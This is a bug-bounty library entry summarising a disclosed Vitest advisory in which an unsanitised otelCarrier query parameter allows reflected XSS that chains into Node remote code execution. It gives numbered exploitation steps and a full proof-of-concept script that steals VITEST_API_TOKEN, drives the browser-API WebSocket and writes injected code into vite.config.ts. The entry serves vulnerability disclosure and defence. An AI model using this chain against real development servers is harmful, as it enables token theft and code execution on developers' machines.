# Vitest browser mode serves unsanitized otelCarrier query parameter as inline script

Vitest browser mode reflected the otelCarrier query param as inline JS, letting a crafted URL steal VITEST_API_TOKEN and write vite.config.ts for Node RCE.

- Payout: Research
- Severity: critical
- Program: Vitest
- Found by: tomohiro86
- Disclosed: 2026-06-01
- CVE: CVE-2026-47428
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-2h32-95rg-cppp
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-2h32-95rg-cppp
- Tags: area:web domain:web impact:ato impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:source-review vuln:rce vuln:xss

**Target:** Vitest browser-mode dev server /__vitest_test__/ endpoint and /__vitest_browser_api__ WebSocket
**Root cause:** The otelCarrier query parameter was interpolated directly into a generated inline module script as JavaScript source instead of being serialized as data, yielding reflected XSS in the Vitest server origin.
**Steps:**
1. Start browser mode in watch mode (e.g. official Lit example via `pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc`), server at `http://localhost:63315`.
2. Open `http://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)` to confirm reflected script execution.
3. Payload lands as `otelCarrier: (alert("xss via otelCarrier"),null),` inside the inline module script.
4. For RCE, inject a script that reads `window.VITEST_API_TOKEN` and `window.__vitest_browser_runner__`.
5. Open WebSocket to `/__vitest_browser_api__?type=orchestrator&rpcId=...&sessionId=...&projectName=...&method=...&token=<VITEST_API_TOKEN>`.
6. Call `triggerCommand(sessionId,'readFile','vite.config.ts',[...])` then `triggerCommand(sessionId,'writeFile','vite.config.ts',[injected+original])` prepending a Node payload.
7. Vitest/Vite reloads the modified config, executing the injected code in Node (PoC runs `execSync('touch ./rce-poc')`).
**How found:** Reporter noticed the otelCarrier query value was placed into the generated inline module script as JS source (serverOrchestrator.ts L48 / esm-client-injector.js L41) rather than as serialized data, and that the same page embeds VITEST_API_TOKEN.
**Exploitation:** Victim opens a crafted browser-runner URL while the Vitest browser server runs; reflected script executes same-origin, recovers VITEST_API_TOKEN, authenticates to the browser API WebSocket, and uses writeFile to inject Node code into vite.config.ts, which executes on config reload.
**Escalation:** XSS in dev-server origin -> token theft -> authenticated WebSocket API abuse -> arbitrary file write -> Node RCE via Vite config reload.
**Insight:** Dev-server HTML that embeds secrets (API tokens) plus any reflected query value interpolated into inline scripts turns a low-severity XSS into full RCE: check whether the page also exposes auth tokens and whether an authenticated file-write API can reach a config that auto-reloads.

## Proof of concept (copied exactly from the original report)

**XSS URL with otelCarrier alert payload**

```
http://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)
```

**RCE script recovering token and writing config**

```
(setTimeout(async()=>{
  const s = window.__vitest_browser_runner__
  const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm')
  const p = location.protocol === 'https:' ? 'wss:' : 'ws:'
  const q = 'type=orchestrator&rpcId=poc-' + Date.now()
    + '&sessionId=' + encodeURIComponent(s.sessionId)
    + '&projectName=' + encodeURIComponent(s.config.name || '')
    + '&method=' + encodeURIComponent(s.method)
    + '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')

  const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)
  const pending = new Map()

  function call(m, a = []) {
    const i = crypto.randomUUID()
    ws.send(stringify({ t: 'q', i, m, a }))
    return new Promise((resolve, reject) => {
      pending.set(i, { resolve, reject })
    })
  }

  ws.onmessage = (event) => {
    const message = parse(event.data)
    const promise = pending.get(message.i)
    if (!promise) {
      return
    }
    pending.delete(message.i)
    if (message.e) {
      promise.reject(message.e)
    }
    else {
      promise.resolve(message.r)
    }
  }

  ws.onopen = async () => {
    const configPath = 'vite.config.ts'
    const original = await call('triggerCommand', [
      s.sessionId,
      'readFile',
      configPath,
      [configPath, 'utf-8'],
    ])

    const injected = `
import("node:child_process").then(lib => {
  lib.execSync('touch ./rce-poc')
  console.log('RCE success')
})
`
    await call('triggerCommand', [
      s.sessionId,
      'writeFile',
      configPath,
      [configPath, injected + original],
    ])

    alert('POC: vite.config.ts modified to trigger RCE on config reload')
  }

  ws.onerror = () => alert('POC: browser api websocket failed')
},0),null)
```

